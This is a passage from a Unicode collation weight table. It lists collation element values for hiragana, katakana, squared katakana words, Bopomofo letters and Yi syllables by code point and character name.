[.3BDE.0020.0011][.0000.0037.0002] # KATAKANA LETTER BI +3074 ; [.3BDE.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PI +30D4 ; [.3BDE.0020.0011][.0000.0038.0002] # KATAKANA LETTER PI +332E ; [.3BDE.0020.001C][.0000.0038.001C][.3BC3.0020.001C][.3BD0.0020.001C][.3BD7.0020.001C][.3BED.0020.001C] # SQUARE PIASUTORU +332F ; [.3BDE.0020.001C][.0000.0038.001C][.3BCB.0020.001C][.3BED.0020.001C] # SQUARE PIKURU +3330 ; [.3BDE.0020.001C][.0000.0038.001C][.3BCD.0020.001C] # SQUARE PIKO +3331 ; [.3BDE.0020.001C][.0000.0037.001C][.3BED.0020.001C] # SQUARE BIRU +3075 ; [.3BDF.0020.000E] # HIRAGANA LETTER HU +31F7 ; [.3BDF.0020.000F] # KATAKANA LETTER SMALL HU +30D5 ; [.3BDF.0020.0011] # KATAKANA LETTER HU +FF8C ; [.3BDF.0020.0012] # HALFWIDTH KATAKANA LETTER HU +32EB ; [.3BDF.0020.0013] # CIRCLED KATAKANA HU +3076 ; [.3BDF.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BU +30D6 ; [.3BDF.0020.0011][.0000.0037.0002] # KATAKANA LETTER BU +3077 ; [.3BDF.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PU +30D7 ; [.3BDF.0020.0011][.0000.0038.0002] # KATAKANA LETTER PU +3332 ; [.3BDF.0020.001C][.3BC3.0020.001C][.3BEB.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C][.0000.0037.001C] # SQUARE HUARADDO +3333 ; [.3BDF.0020.001C][.3BC4.0020.001C][.1B89.0020.001C][.3BD7.0020.001C] # SQUARE HUIITO +3334 ; [.3BDF.0020.001C][.0000.0037.001C][.3BD5.0020.001C][.3BCF.0020.001C][.3BC7.0020.001C][.3BED.0020.001C] # SQUARE BUSSYERU +3335 ; [.3BDF.0020.001C][.3BEB.0020.001C][.3BF4.0020.001C] # SQUARE HURAN +3078 ; [.3BE0.0020.000E] # HIRAGANA LETTER HE +31F8 ; [.3BE0.0020.000F] # KATAKANA LETTER SMALL HE +30D8 ; [.3BE0.0020.0011] # KATAKANA LETTER HE +FF8D ; [.3BE0.0020.0012] # HALFWIDTH KATAKANA LETTER HE +32EC ; [.3BE0.0020.0013] # CIRCLED KATAKANA HE +3079 ; [.3BE0.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BE +30D9 ; [.3BE0.0020.0011][.0000.0037.0002] # KATAKANA LETTER BE +307A ; [.3BE0.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PE +30DA ; [.3BE0.0020.0011][.0000.0038.0002] # KATAKANA LETTER PE +333B ; [.3BE0.0020.001C][.0000.0038.001C][.1B89.0020.001C][.3BCF.0020.001C][.0000.0037.001C] # SQUARE PEEZI +333C ; [.3BE0.0020.001C][.0000.0037.001C][.1B89.0020.001C][.3BD3.0020.001C] # SQUARE BEETA +3336 ; [.3BE0.0020.001C][.3BCB.0020.001C][.3BD3.0020.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE HEKUTAARU +3337 ; [.3BE0.0020.001C][.0000.0038.001C][.3BD2.0020.001C] # SQUARE PESO +3338 ; [.3BE0.0020.001C][.0000.0038.001C][.3BD9.0020.001C][.3BDE.0020.001C] # SQUARE PENIHI +3339 ; [.3BE0.0020.001C][.3BED.0020.001C][.3BD5.0020.001C] # SQUARE HERUTU +333A ; [.3BE0.0020.001C][.0000.0038.001C][.3BF4.0020.001C][.3BD0.0020.001C] # SQUARE PENSU +307B ; [.3BE1.0020.000E] # HIRAGANA LETTER HO +31F9 ; [.3BE1.0020.000F] # KATAKANA LETTER SMALL HO +30DB ; [.3BE1.0020.0011] # KATAKANA LETTER HO +FF8E ; [.3BE1.0020.0012] # HALFWIDTH KATAKANA LETTER HO +32ED ; [.3BE1.0020.0013] # CIRCLED KATAKANA HO +307C ; [.3BE1.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BO +30DC ; [.3BE1.0020.0011][.0000.0037.0002] # KATAKANA LETTER BO +307D ; [.3BE1.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PO +30DD ; [.3BE1.0020.0011][.0000.0038.0002] # KATAKANA LETTER PO +3341 ; [.3BE1.0020.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE HOORU +3342 ; [.3BE1.0020.001C][.1B89.0020.001C][.3BF4.0020.001C] # SQUARE HOON +333D ; [.3BE1.0020.001C][.0000.0038.001C][.3BC4.0020.001C][.3BF4.0020.001C][.3BD7.0020.001C] # SQUARE POINTO +1F200 ; [.3BE1.0020.001C][.3BC9.0020.001C] # SQUARE HIRAGANA HOKA +333E ; [.3BE1.0020.001C][.0000.0037.001C][.3BED.0020.001C][.3BD7.0020.001C] # SQUARE BORUTO +333F ; [.3BE1.0020.001C][.3BF4.0020.001C] # SQUARE HON +3340 ; [.3BE1.0020.001C][.0000.0038.001C][.3BF4.0020.001C][.3BD7.0020.001C][.0000.0037.001C] # SQUARE PONDO +307E ; [.3BE2.0020.000E] # HIRAGANA LETTER MA +30DE ; [.3BE2.0020.0011] # KATAKANA LETTER MA +FF8F ; [.3BE2.0020.0012] # HALFWIDTH KATAKANA LETTER MA +32EE ; [.3BE2.0020.0013] # CIRCLED KATAKANA MA +3343 ; [.3BE2.0020.001C][.3BC4.0020.001C][.3BCB.0020.001C][.3BEF.0020.001C] # SQUARE MAIKURO +3344 ; [.3BE2.0020.001C][.3BC4.0020.001C][.3BED.0020.001C] # SQUARE MAIRU +303C ; [.3BE2.0020.0004][.3BD0.0020.0004] # MASU MARK +3345 ; [.3BE2.0020.001C][.3BD5.0020.001C][.3BDD.0020.001C] # SQUARE MAHHA +3346 ; [.3BE2.0020.001C][.3BED.0020.001C][.3BCB.0020.001C] # SQUARE MARUKU +3347 ; [.3BE2.0020.001C][.3BF4.0020.001C][.3BCF.0020.001C][.3BEA.0020.001C][.3BF4.0020.001C] # SQUARE MANSYON +307F ; [.3BE3.0020.000E] # HIRAGANA LETTER MI +30DF ; [.3BE3.0020.0011] # KATAKANA LETTER MI +FF90 ; [.3BE3.0020.0012] # HALFWIDTH KATAKANA LETTER MI +32EF ; [.3BE3.0020.0013] # CIRCLED KATAKANA MI +3348 ; [.3BE3.0020.001C][.3BCB.0020.001C][.3BEF.0020.001C][.3BF4.0020.001C] # SQUARE MIKURON +3349 ; [.3BE3.0020.001C][.3BEC.0020.001C] # SQUARE MIRI +334A ; [.3BE3.0020.001C][.3BEC.0020.001C][.3BDD.0020.001C][.0000.0037.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE MIRIBAARU +3080 ; [.3BE4.0020.000E] # HIRAGANA LETTER MU +31FA ; [.3BE4.0020.000F] # KATAKANA LETTER SMALL MU +30E0 ; [.3BE4.0020.0011] # KATAKANA LETTER MU +FF91 ; [.3BE4.0020.0012] # HALFWIDTH KATAKANA LETTER MU +32F0 ; [.3BE4.0020.0013] # CIRCLED KATAKANA MU +3081 ; [.3BE5.0020.000E] # HIRAGANA LETTER ME +30E1 ; [.3BE5.0020.0011] # KATAKANA LETTER ME +FF92 ; [.3BE5.0020.0012] # HALFWIDTH KATAKANA LETTER ME +32F1 ; [.3BE5.0020.0013] # CIRCLED KATAKANA ME +334D ; [.3BE5.0020.001C][.1B89.0020.001C][.3BD7.0020.001C][.3BED.0020.001C] # SQUARE MEETORU +334B ; [.3BE5.0020.001C][.3BC9.0020.001C][.0000.0037.001C] # SQUARE MEGA +334C ; [.3BE5.0020.001C][.3BC9.0020.001C][.0000.0037.001C][.3BD7.0020.001C][.3BF4.0020.001C] # SQUARE MEGATON +3082 ; [.3BE6.0020.000E] # HIRAGANA LETTER MO +30E2 ; [.3BE6.0020.0011] # KATAKANA LETTER MO +FF93 ; [.3BE6.0020.0012] # HALFWIDTH KATAKANA LETTER MO +32F2 ; [.3BE6.0020.0013] # CIRCLED KATAKANA MO +3083 ; [.3BE7.0020.000D] # HIRAGANA LETTER SMALL YA +3084 ; [.3BE7.0020.000E] # HIRAGANA LETTER YA +30E3 ; [.3BE7.0020.000F] # KATAKANA LETTER SMALL YA +FF6C ; [.3BE7.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YA +30E4 ; [.3BE7.0020.0011] # KATAKANA LETTER YA +FF94 ; [.3BE7.0020.0012] # HALFWIDTH KATAKANA LETTER YA +32F3 ; [.3BE7.0020.0013] # CIRCLED KATAKANA YA +334E ; [.3BE7.0020.001C][.1B89.0020.001C][.3BD7.0020.001C][.0000.0037.001C] # SQUARE YAADO +334F ; [.3BE7.0020.001C][.1B89.0020.001C][.3BED.0020.001C] # SQUARE YAARU +3085 ; [.3BE8.0020.000D] # HIRAGANA LETTER SMALL YU +3086 ; [.3BE8.0020.000E] # HIRAGANA LETTER YU +30E5 ; [.3BE8.0020.000F] # KATAKANA LETTER SMALL YU +FF6D ; [.3BE8.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YU +30E6 ; [.3BE8.0020.0011] # KATAKANA LETTER YU +FF95 ; [.3BE8.0020.0012] # HALFWIDTH KATAKANA LETTER YU +32F4 ; [.3BE8.0020.0013] # CIRCLED KATAKANA YU +3350 ; [.3BE8.0020.001C][.3BC3.0020.001C][.3BF4.0020.001C] # SQUARE YUAN +1B001 ; [.3BE9.0020.000E] # HIRAGANA LETTER ARCHAIC YE +3087 ; [.3BEA.0020.000D] # HIRAGANA LETTER SMALL YO +3088 ; [.3BEA.0020.000E] # HIRAGANA LETTER YO +30E7 ; [.3BEA.0020.000F] # KATAKANA LETTER SMALL YO +FF6E ; [.3BEA.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL YO +30E8 ; [.3BEA.0020.0011] # KATAKANA LETTER YO +FF96 ; [.3BEA.0020.0012] # HALFWIDTH KATAKANA LETTER YO +32F5 ; [.3BEA.0020.0013] # CIRCLED KATAKANA YO +309F ; [.3BEA.0020.0016][.3BEC.0020.0016] # HIRAGANA DIGRAPH YORI +3089 ; [.3BEB.0020.000E] # HIRAGANA LETTER RA +31FB ; [.3BEB.0020.000F] # KATAKANA LETTER SMALL RA +30E9 ; [.3BEB.0020.0011] # KATAKANA LETTER RA +FF97 ; [.3BEB.0020.0012] # HALFWIDTH KATAKANA LETTER RA +32F6 ; [.3BEB.0020.0013] # CIRCLED KATAKANA RA +308A ; [.3BEC.0020.000E] # HIRAGANA LETTER RI +31FC ; [.3BEC.0020.000F] # KATAKANA LETTER SMALL RI +30EA ; [.3BEC.0020.0011] # KATAKANA LETTER RI +FF98 ; [.3BEC.0020.0012] # HALFWIDTH KATAKANA LETTER RI +32F7 ; [.3BEC.0020.0013] # CIRCLED KATAKANA RI +3351 ; [.3BEC.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C][.3BED.0020.001C] # SQUARE RITTORU +3352 ; [.3BEC.0020.001C][.3BEB.0020.001C] # SQUARE RIRA +308B ; [.3BED.0020.000E] # HIRAGANA LETTER RU +31FD ; [.3BED.0020.000F] # KATAKANA LETTER SMALL RU +30EB ; [.3BED.0020.0011] # KATAKANA LETTER RU +FF99 ; [.3BED.0020.0012] # HALFWIDTH KATAKANA LETTER RU +32F8 ; [.3BED.0020.0013] # CIRCLED KATAKANA RU +3354 ; [.3BED.0020.001C][.1B89.0020.001C][.3BDF.0020.001C][.0000.0037.001C][.3BED.0020.001C] # SQUARE RUUBURU +3353 ; [.3BED.0020.001C][.3BDE.0020.001C][.0000.0038.001C][.1B89.0020.001C] # SQUARE RUPII +308C ; [.3BEE.0020.000E] # HIRAGANA LETTER RE +31FE ; [.3BEE.0020.000F] # KATAKANA LETTER SMALL RE +30EC ; [.3BEE.0020.0011] # KATAKANA LETTER RE +FF9A ; [.3BEE.0020.0012] # HALFWIDTH KATAKANA LETTER RE +32F9 ; [.3BEE.0020.0013] # CIRCLED KATAKANA RE +3355 ; [.3BEE.0020.001C][.3BE4.0020.001C] # SQUARE REMU +3356 ; [.3BEE.0020.001C][.3BF4.0020.001C][.3BD7.0020.001C][.3BCC.0020.001C][.0000.0037.001C][.3BF4.0020.001C] # SQUARE RENTOGEN +308D ; [.3BEF.0020.000E] # HIRAGANA LETTER RO +31FF ; [.3BEF.0020.000F] # KATAKANA LETTER SMALL RO +30ED ; [.3BEF.0020.0011] # KATAKANA LETTER RO +FF9B ; [.3BEF.0020.0012] # HALFWIDTH KATAKANA LETTER RO +32FA ; [.3BEF.0020.0013] # CIRCLED KATAKANA RO +308E ; [.3BF0.0020.000D] # HIRAGANA LETTER SMALL WA +308F ; [.3BF0.0020.000E] # HIRAGANA LETTER WA +30EE ; [.3BF0.0020.000F] # KATAKANA LETTER SMALL WA +30EF ; [.3BF0.0020.0011] # KATAKANA LETTER WA +FF9C ; [.3BF0.0020.0012] # HALFWIDTH KATAKANA LETTER WA +32FB ; [.3BF0.0020.0013] # CIRCLED KATAKANA WA +30F7 ; [.3BF0.0020.0011][.0000.0037.0002] # KATAKANA LETTER VA +3357 ; [.3BF0.0020.001C][.3BD5.0020.001C][.3BD7.0020.001C] # SQUARE WATTO +3090 ; [.3BF1.0020.000E] # HIRAGANA LETTER WI +30F0 ; [.3BF1.0020.0011] # KATAKANA LETTER WI +32FC ; [.3BF1.0020.0013] # CIRCLED KATAKANA WI +30F8 ; [.3BF1.0020.0011][.0000.0037.0002] # KATAKANA LETTER VI +3091 ; [.3BF2.0020.000E] # HIRAGANA LETTER WE +30F1 ; [.3BF2.0020.0011] # KATAKANA LETTER WE +32FD ; [.3BF2.0020.0013] # CIRCLED KATAKANA WE +30F9 ; [.3BF2.0020.0011][.0000.0037.0002] # KATAKANA LETTER VE +3092 ; [.3BF3.0020.000E] # HIRAGANA LETTER WO +30F2 ; [.3BF3.0020.0011] # KATAKANA LETTER WO +FF66 ; [.3BF3.0020.0012] # HALFWIDTH KATAKANA LETTER WO +32FE ; [.3BF3.0020.0013] # CIRCLED KATAKANA WO +30FA ; [.3BF3.0020.0011][.0000.0037.0002] # KATAKANA LETTER VO +3093 ; [.3BF4.0020.000E] # HIRAGANA LETTER N +30F3 ; [.3BF4.0020.0011] # KATAKANA LETTER N +FF9D ; [.3BF4.0020.0012] # HALFWIDTH KATAKANA LETTER N +3105 ; [.3BF5.0020.0002] # BOPOMOFO LETTER B +31A0 ; [.3BF5.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER BU +3106 ; [.3BF6.0020.0002] # BOPOMOFO LETTER P +31B4 ; [.3BF6.0020.0019] # BOPOMOFO FINAL LETTER P +3107 ; [.3BF7.0020.0002] # BOPOMOFO LETTER M +3108 ; [.3BF8.0020.0002] # BOPOMOFO LETTER F +312A ; [.3BF9.0020.0002] # BOPOMOFO LETTER V +3109 ; [.3BFA.0020.0002] # BOPOMOFO LETTER D +310A ; [.3BFB.0020.0002] # BOPOMOFO LETTER T +31B5 ; [.3BFB.0020.0019] # BOPOMOFO FINAL LETTER T +310B ; [.3BFC.0020.0002] # BOPOMOFO LETTER N +310C ; [.3BFD.0020.0002] # BOPOMOFO LETTER L +310D ; [.3BFE.0020.0002] # BOPOMOFO LETTER G +31A3 ; [.3BFE.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER GU +310E ; [.3BFF.0020.0002] # BOPOMOFO LETTER K +31B6 ; [.3BFF.0020.0019] # BOPOMOFO FINAL LETTER K +312B ; [.3C00.0020.0002] # BOPOMOFO LETTER NG +31AD ; [.3C01.0020.0002] # BOPOMOFO LETTER NGG +310F ; [.3C02.0020.0002] # BOPOMOFO LETTER H +31B7 ; [.3C02.0020.0019] # BOPOMOFO FINAL LETTER H +3110 ; [.3C03.0020.0002] # BOPOMOFO LETTER J +31A2 ; [.3C03.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER JI +3111 ; [.3C04.0020.0002] # BOPOMOFO LETTER Q +3112 ; [.3C05.0020.0002] # BOPOMOFO LETTER X +312C ; [.3C06.0020.0002] # BOPOMOFO LETTER GN +3113 ; [.3C07.0020.0002] # BOPOMOFO LETTER ZH +3114 ; [.3C08.0020.0002] # BOPOMOFO LETTER CH +3115 ; [.3C09.0020.0002] # BOPOMOFO LETTER SH +3116 ; [.3C0A.0020.0002] # BOPOMOFO LETTER R +3117 ; [.3C0B.0020.0002] # BOPOMOFO LETTER Z +31A1 ; [.3C0B.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER ZI +3118 ; [.3C0C.0020.0002] # BOPOMOFO LETTER C +3119 ; [.3C0D.0020.0002] # BOPOMOFO LETTER S +31B8 ; [.3C0E.0020.0002] # BOPOMOFO LETTER GH +31B9 ; [.3C0F.0020.0002] # BOPOMOFO LETTER LH +31BA ; [.3C10.0020.0002] # BOPOMOFO LETTER ZY +311A ; [.3C11.0020.0002] # BOPOMOFO LETTER A +31A9 ; [.3C11.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER ANN +311B ; [.3C12.0020.0002] # BOPOMOFO LETTER O +31A7 ; [.3C12.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER ONN +31A6 ; [.3C13.0020.0002] # BOPOMOFO LETTER OO +311C ; [.3C14.0020.0002] # BOPOMOFO LETTER E +311D ; [.3C15.0020.0002] # BOPOMOFO LETTER EH +31A4 ; [.3C16.0020.0002] # BOPOMOFO LETTER EE +31A5 ; [.3C16.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER ENN +311E ; [.3C17.0020.0002] # BOPOMOFO LETTER AI +31AE ; [.3C17.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER AINN +311F ; [.3C18.0020.0002] # BOPOMOFO LETTER EI +3120 ; [.3C19.0020.0002] # BOPOMOFO LETTER AU +31AF ; [.3C19.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER AUNN +3121 ; [.3C1A.0020.0002] # BOPOMOFO LETTER OU +3122 ; [.3C1B.0020.0002] # BOPOMOFO LETTER AN +3123 ; [.3C1C.0020.0002] # BOPOMOFO LETTER EN +3124 ; [.3C1D.0020.0002] # BOPOMOFO LETTER ANG +31B2 ; [.3C1E.0020.0002] # BOPOMOFO LETTER ONG +3125 ; [.3C1F.0020.0002] # BOPOMOFO LETTER ENG +31B0 ; [.3C20.0020.0002] # BOPOMOFO LETTER AM +31B1 ; [.3C21.0020.0002] # BOPOMOFO LETTER OM +31AC ; [.3C22.0020.0002] # BOPOMOFO LETTER IM +3126 ; [.3C23.0020.0002] # BOPOMOFO LETTER ER +3127 ; [.3C24.0020.0002] # BOPOMOFO LETTER I +31AA ; [.3C24.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER INN +31B3 ; [.3C24.0020.0016][.0000.010C.0016] # BOPOMOFO LETTER INNN +3128 ; [.3C25.0020.0002] # BOPOMOFO LETTER U +31AB ; [.3C25.0020.0004][.0000.010C.0004] # BOPOMOFO LETTER UNN +31A8 ; [.3C25.0020.0004][.0000.010D.0004] # BOPOMOFO LETTER IR +3129 ; [.3C26.0020.0002] # BOPOMOFO LETTER IU +312D ; [.3C27.0020.0002] # BOPOMOFO LETTER IH +A000 ; [.3C28.0020.0002] # YI SYLLABLE IT +A001 ; [.3C29.0020.0002] # YI SYLLABLE IX +A002 ; [.3C2A.0020.0002] # YI SYLLABLE I +A003 ; [.3C2B.0020.0002] # YI SYLLABLE IP +A004 ; [.3C2C.0020.0002] # YI SYLLABLE IET +A005 ; [.3C2D.0020.0002] # YI SYLLABLE IEX +A006 ; [.3C2E.0020.0002] # YI SYLLABLE IE +A007 ; [.3C2F.0020.0002] # YI SYLLABLE IEP +A008 ; [.3C30.0020.0002] # YI SYLLABLE AT +A009 ; [.3C31.0020.0002] # YI SYLLABLE AX +A00A ; [.3C32.0020.0002] # YI SYLLABLE A +A00B ; [.3C33.0020.0002] # YI SYLLABLE AP +A00C ; [.3C34.0020.0002] # YI SYLLABLE UOX +A00D ; [.3C35.0020.0002] # YI SYLLABLE UO +A00E ; [.3C36.0020.0002] # YI SYLLABLE UOP +A00F ; [.3C37.0020.0002] # YI SYLLABLE OT +A010 ; [.3C38.0020.0002] # YI SYLLABLE OX +A011 ; [.3C39.0020.0002] # YI SYLLABLE O +A012 ; [.3C3A.0020.0002] # YI SYLLABLE OP +A013 ; [.3C3B.0020.0002] # YI SYLLABLE EX +A014 ; [.3C3C.0020.0002] # YI SYLLABLE E +A015 ; [.3C3D.0020.0002] # YI SYLLABLE WU +A016 ; [.3C3E.0020.0002] # YI SYLLABLE BIT +A017 ; [.3C3F.0020.0002] # YI SYLLABLE BIX +A018 ; [.3C40.0020.0002] # YI SYLLABLE BI +A019 ; [.3C41.0020.0002] # YI SYLLABLE BIP +A01A ; [.3C42.0020.0002] # YI SYLLABLE BIET +A01B ; [.3C43.0020.0002] # YI SYLLABLE BIEX +A01C ; [.3C44.0020.0002] # YI SYLLABLE BIE +A01D ; [.3C45.0020.0002] # YI SYLLABLE BIEP +A01E ; [.3C46.0020.0002] # YI SYLLABLE BAT +A01F ; [.3C47.0020.0002] # YI SYLLABLE BAX +A020 ; [.3C48.0020.0002] # YI SYLLABLE BA +A021 ; [.3C49.0020.0002] # YI SYLLABLE BAP +A022 ; [.3C4A.0020.0002] # YI SYLLABLE BUOX +A023 ; [.3C4B.0020.0002] # YI SYLLABLE BUO +A024 ; [.3C4C.0020.0002] # YI SYLLABLE BUOP +A025 ; [.3C4D.0020.0002] # YI SYLLABLE BOT +A026 ; [.3C4E.0020.0002] # YI SYLLABLE BOX +A027 ; [.3C4F.0020.0002] # YI SYLLABLE BO +A028 ; [.3C50.0020.0002] # YI SYLLABLE BOP +A029 ; [.3C51.0020.0002] # YI SYLLABLE BEX +A02A ; [.3C52.0020.0002] # YI SYLLABLE BE +A02B ; [.3C53.0020.0002] # YI SYLLABLE BEP +A02C ; [.3C54.0020.0002] # YI SYLLABLE BUT +A02D ; [.3C55.0020.0002] # YI SYLLABLE BUX +A02E ; [.3C56.0020.0002] # YI SYLLABLE BU +A02F ; [.3C57.0020.0002] # YI SYLLABLE BUP +A030 ; [.3C58.0020.0002] # YI SYLLABLE BURX +A031 ; [.3C59.0020.0002] # YI SYLLABLE BUR +A032 ; [.3C5A.0020.0002] # YI SYLLABLE BYT +A033 ; [.3C5B.0020.0002] # YI SYLLABLE BYX +A034 ; [.3C5C.0020.0002] # YI SYLLABLE BY +A035 ; [.3C5D.0020.0002] # YI SYLLABLE BYP +A036 ; [.3C5E.0020.0002] # YI SYLLABLE BYRX +A037 ; [.3C5F.0020.0002] # YI SYLLABLE BYR +A038 ; [.3C60.0020.0002] # YI SYLLABLE PIT +A039 ; [.3C61.0020.0002] # YI SYLLABLE PIX +A03A ; [.3C62.0020.0002] # YI SYLLABLE PI +A03B ; [.3C63.0020.0002] # YI SYLLABLE PIP +A03C ; [.3C64.0020.0002] # YI SYLLABLE PIEX +A03D ; [.3C65.0020.0002] # YI SYLLABLE PIE +A03E ; [.3C66.0020.0002] # YI SYLLABLE PIEP +A03F ; [.3C67.0020.0002] # YI SYLLABLE PAT +A040 ; [.3C68.0020.0002] # YI SYLLABLE PAX +A041 ; [.3C69.0020.0002] # YI SYLLABLE PA +A042 ; [.3C6A.0020.0002] # YI SYLLABLE PAP +A043 ; [.3C6B.0020.0002] # YI SYLLABLE PUOX +A044 ; [.3C6C.0020.0002] # YI SYLLABLE PUO +A045 ; [.3C6D.0020.0002] # YI SYLLABLE PUOP +A046 ; [.3C6E.0020.0002] # YI SYLLABLE POT +A047 ; [.3C6F.0020.0002] # YI SYLLABLE POX +A048 ; [.3C70.0020.0002] # YI SYLLABLE PO +A049 ; [.3C71.0020.0002] # YI SYLLABLE POP +A04A ; [.3C72.0020.0002] # YI SYLLABLE PUT +A04B ; [.3C73.0020.0002] # YI SYLLABLE PUX +A04C ; [.3C74.0020.0002] # YI SYLLABLE PU +A04D ; [.3C75.0020.0002] # YI SYLLABLE PUP +A04E ; [.3C76.0020.0002] # YI SYLLABLE PURX +A04F ; [.3C77.0020.0002] # YI SYLLABLE PUR +A050 ; [.3C78.0020.0002] # YI SYLLABLE PYT +A051 ; [.3C79.0020.0002] # YI SYLLABLE PYX +A052 ; [.3C7A.0020.0002] # YI SYLLABLE PY +A053 ; [.3C7B.0020.0002] # YI SYLLABLE PYP +A054 ; [.3C7C.0020.0002] # YI SYLLABLE PYRX +A055 ; [.3C7D.0020.0002] # YI SYLLABLE PYR +A056 ; [.3C7E.0020.0002] # YI SYLLABLE BBIT +A057 ; [.3C7F.0020.0002] # YI SYLLABLE BBIX +A058 ; [.3C80.0020.0002] # YI SYLLABLE BBI +A059 ; [.3C81.0020.0002] # YI SYLLABLE BBIP +A05A ; [.3C82.0020.0002] # YI SYLLABLE BBIET +A05B ; [.3C83.0020.0002] # YI SYLLABLE BBIEX +A05C ; [.3C84.0020.0002] # YI SYLLABLE BBIE +A05D ; [.3C85.0020.0002] # YI SYLLABLE BBIEP +A05E ; [.3C86.0020.0002] # YI SYLLABLE BBAT +A05F ; [.3C87.0020.0002] # YI SYLLABLE BBAX +A060 ; [.3C88.0020.0002] # YI SYLLABLE BBA +A061 ; [.3C89.0020.0002] # YI SYLLABLE BBAP +A062 ; [.3C8A.0020.0002] # YI SYLLABLE BBUOX +A063 ; [.3C8B.0020.0002] # YI SYLLABLE BBUO +A064 ; [.3C8C.0020.0002] # YI SYLLABLE BBUOP +A065 ; [.3C8D.0020.0002] # YI SYLLABLE BBOT +A066 ; [.3C8E.0020.0002] # YI SYLLABLE BBOX +A067 ; [.3C8F.0020.0002] # YI SYLLABLE BBO +A068 ; [.3C90.0020.0002] # YI SYLLABLE BBOP +A069 ; [.3C91.0020.0002] # YI SYLLABLE BBEX +A06A ; [.3C92.0020.0002] # YI SYLLABLE BBE +A06B ; [.3C93.0020.0002] # YI SYLLABLE BBEP +A06C ; [.3C94.0020.0002] # YI SYLLABLE BBUT +A06D ; [.3C95.0020.0002] # YI SYLLABLE BBUX +A06E ; [.3C96.0020.0002] # YI SYLLABLE BBU +A06F ; [.3C97.0020.0002] # YI SYLLABLE BBUP +A070 ; [.3C98.0020.0002] # YI SYLLABLE BBURX +A071 ; [.3C99.0020.0002] # YI SYLLABLE BBUR +A072 ; [.3C9A.0020.0002] # YI SYLLABLE BBYT +A073 ; [.3C9B.0020.0002] # YI SYLLABLE BBYX +A074 ; [.3C9C.0020.0002] # YI SYLLABLE BBY +A075 ; [.3C9D.0020.0002] # YI SYLLABLE BBYP +A076 ; [.3C9E.0020.0002] # YI SYLLABLE NBIT +A077 ; [.3C9F.0020.0002] # YI SYLLABLE NBIX +A078 ; [.3CA0.0020.0002] # YI SYLLABLE NBI +A079 ; [.3CA1.0020.0002] # YI SYLLABLE NBIP +A07A ; [.3CA2.0020.0002] # YI SYLLABLE NBIEX +A07B ; [.3CA3.0020.0002] # YI SYLLABLE NBIE +A07C ; [.3CA4.0020.0002] # YI SYLLABLE NBIEP +A07D ; [.3CA5.0020.0002] # YI SYLLABLE NBAT +A07E ; [.3CA6.0020.0002] # YI SYLLABLE NBAX +A07F ; [.3CA7.0020.0002] # YI SYLLABLE NBA +A080 ; [.3CA8.0020.0002] # YI SYLLABLE NBAP +A081 ; [.3CA9.0020.0002] # YI SYLLABLE NBOT +A082 ; [.3CAA.0020.0002] # YI SYLLABLE NBOX +A083 ; [.3CAB.0020.0002] # YI SYLLABLE NBO +A084 ; [.3CAC.0020.0002] # YI SYLLABLE NBOP +A085 ; [.3CAD.0020.0002] # YI SYLLABLE NBUT +A086 ; [.3CAE.0020.0002] # YI SYLLABLE NBUX +A087 ; [.3CAF.0020.0002] # YI SYLLABLE NBU +A088 ; [.3CB0.0020.0002] # YI SYLLABLE NBUP +A089 ; [.3CB1.0020.0002] # YI SYLLABLE NBURX +A08A ; [.3CB2.0020.0002] # YI SYLLABLE NBUR +A08B ; [.3CB3.0020.0002] # YI SYLLABLE NBYT +A08C ; [.3CB4.0020.0002] # YI SYLLABLE NBYX +A08D ; [.3CB5.0020.0002] # YI SYLLABLE NBY +A08E ; [.3CB6.0020.0002] # YI SYLLABLE NBYP +A08F ; [.3CB7.0020.0002] # YI SYLLABLE NBYRX +A090 ; [.3CB8.0020.0002] # YI SYLLABLE NBYR +A091 ; [.3CB9.0020.0002] # YI SYLLABLE HMIT +A092 ; [.3CBA.0020.0002] # YI SYLLABLE HMIX +A093 ; [.3CBB.0020.0002] # YI SYLLABLE HMI +A094 ; [.3CBC.0020.0002] # YI SYLLABLE HMIP +A095 ; [.3CBD.0020.0002] # YI SYLLABLE HMIEX +A096 ; [.3CBE.0020.0002] # YI SYLLABLE HMIE +A097 ; [.3CBF.0020.0002] # YI SYLLABLE HMIEP +A098 ; [.3CC0.0020.0002] # YI SYLLABLE HMAT +A099 ; [.3CC1.0020.0002] # YI SYLLABLE HMAX +A09A ; [.3CC2.0020.0002] # YI SYLLABLE HMA +A09B ; [.3CC3.0020.0002] # YI SYLLABLE HMAP +A09C ; [.3CC4.0020.0002] # YI SYLLABLE HMUOX +A09D ; [.3CC5.0020.0002] # YI SYLLABLE HMUO +A09E ; [.3CC6.0020.0002] # YI SYLLABLE HMUOP +A09F ; [.3CC7.0020.0002] # YI SYLLABLE HMOT +A0A0 ; [.3CC8.0020.0002] # YI SYLLABLE HMOX +A0A1 ; [.3CC9.0020.0002] # YI SYLLABLE HMO +A0A2 ; [.3CCA.0020.0002] # YI SYLLABLE HMOP +A0A3 ; [.3CCB.0020.0002] # YI SYLLABLE HMUT +A0A4 ; [.3CCC.0020.0002] # YI SYLLABLE HMUX +A0A5 ; [.3CCD.0020.0002] # YI SYLLABLE HMU +A0A6 ; [.3CCE.0020.0002] # YI SYLLABLE HMUP +A0A7 ; [.3CCF.0020.0002] # YI SYLLABLE HMURX +A0A8 ; [.3CD0.0020.0002] # YI SYLLABLE HMUR 